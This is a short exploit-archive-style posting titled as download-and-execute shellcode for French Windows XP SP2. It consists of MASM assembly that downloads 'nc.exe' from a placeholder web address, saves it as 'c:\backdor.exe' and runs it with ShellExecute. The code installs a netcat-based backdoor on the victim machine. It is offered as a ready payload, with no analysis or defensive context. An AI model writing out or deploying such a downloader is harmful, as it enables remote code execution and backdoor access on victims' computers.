|
=========================================== win32/xp sp2 Fr Download and Exec Shellcode ===========================================
Exploit Title winxp sp2 fr download & exec
code: ;------------------------------------------- .586 .model flat,stdcall option casemap:none include windows.inc include user32.inc include kernel32.inc include shell32.inc include urlmon.inc includelib user32.lib includelib kernel32.lib includelib shell32.lib includelib urlmon.lib .data URL db "http://www.site.com/nc.exe",0 PATH db "c:\backdor.exe",0 .data? hResult dd ? .code ; --------------------------------------------------------------------------- start: invoke URLDownloadToFile,0,addr URL,addr PATH,0,0 mov hResult,eax .if eax!=1 invoke ShellExecute,0,0,addr PATH,0,0,SW_SHOW .endif end start
|
|
|